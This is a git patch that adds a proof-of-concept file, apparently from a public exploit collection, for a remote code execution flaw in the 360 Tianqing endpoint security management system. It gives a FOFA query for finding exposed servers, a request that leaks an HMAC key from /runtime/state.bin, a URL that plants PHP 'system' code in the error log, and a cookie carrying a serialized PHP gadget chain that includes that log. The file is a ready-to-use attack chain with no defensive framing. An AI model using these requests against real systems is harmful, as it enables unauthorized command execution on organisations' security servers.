From fcf433dbf0a20dd38ff1a67c5eb8b18534aed184 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Fri, 19 Jan 2024 19:46:26 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E5=A4=A9=E6=93=8E=E7=BB=88=E7=AB=AF?= =?UTF-8?q?=E5=AE=89=E5=85=A8=E7=AE=A1=E7=90=86=E7=B3=BB=E7=BB=9FYII=5FCSR?= =?UTF-8?q?F=5FTOKEN=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...安全管理系统YII_CSRF_TOKEN远程代码执行漏洞.md | 31 +++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 天擎终端安全管理系统YII_CSRF_TOKEN远程代码执行漏洞.md diff --git a/天擎终端安全管理系统YII_CSRF_TOKEN远程代码执行漏洞.md b/天擎终端安全管理系统YII_CSRF_TOKEN远程代码执行漏洞.md new file mode 100644 index 0000000..ce8cc9e --- /dev/null +++ b/天擎终端安全管理系统YII_CSRF_TOKEN远程代码执行漏洞.md @@ -0,0 +1,31 @@ +## 天擎终端安全管理系统YII_CSRF_TOKEN远程代码执行漏洞 + +## fofa +``` +title="360新天擎" || body="appid\":\"skylar6" || body="/task/index/detail?id={item.id}" || body="已过期或者未授权,购买请联系4008-136-360" || title="360天擎" || title="360天擎终端安全管理系统" +``` + +## poc +执行poc获取hmac_sha1密钥 +``` +GET /runtime/state.bin HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 +Accept-Encoding: gzip +``` +![8ea7d79a9f251c3befc01adaab3fc5dc](https://github.com/wy876/POC/assets/139549762/8e804b69-b7f9-47ea-bc62-e38f16306733) + +``` +GET /%3Cscript+language=%22php%22%3Esystem%28%22whoami%22%29;%3C/script%3E HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 +Accept-Encoding: gzip +``` + +``` +GET /login?refer=%2F HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 +Cookie: YII_CSRF_TOKEN=f4a2f9c997317926f6563192a3b3646417050c16O%3A24%3A%22Smarty_Internal_Template%22%3A1%3A%7Bs%3A6%3A%22smarty%22%3BO%3A10%3A%22CWebModule%22%3A2%3A%7Bs%3A20%3A%22%00CModule%00_components%22%3Ba%3A0%3A%7B%7Ds%3A25%3A%22%00CModule%00_componentConfig%22%3Ba%3A1%3A%7Bs%3A13%3A%22cache_locking%22%3Ba%3A4%3A%7Bs%3A5%3A%22class%22%3Bs%3A11%3A%22CUrlManager%22%3Bs%3A12%3A%22urlRuleClass%22%3Bs%3A14%3A%22CConfiguration%22%3Bs%3A5%3A%22rules%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A21%3A%22..%2Fwww%2Flogs%2Ferror.log%22%3B%7Ds%3A9%3A%22UrlFormat%22%3Bs%3A4%3A%22path%22%3B%7D%7D%7D%7D +Accept-Encoding: gzip +```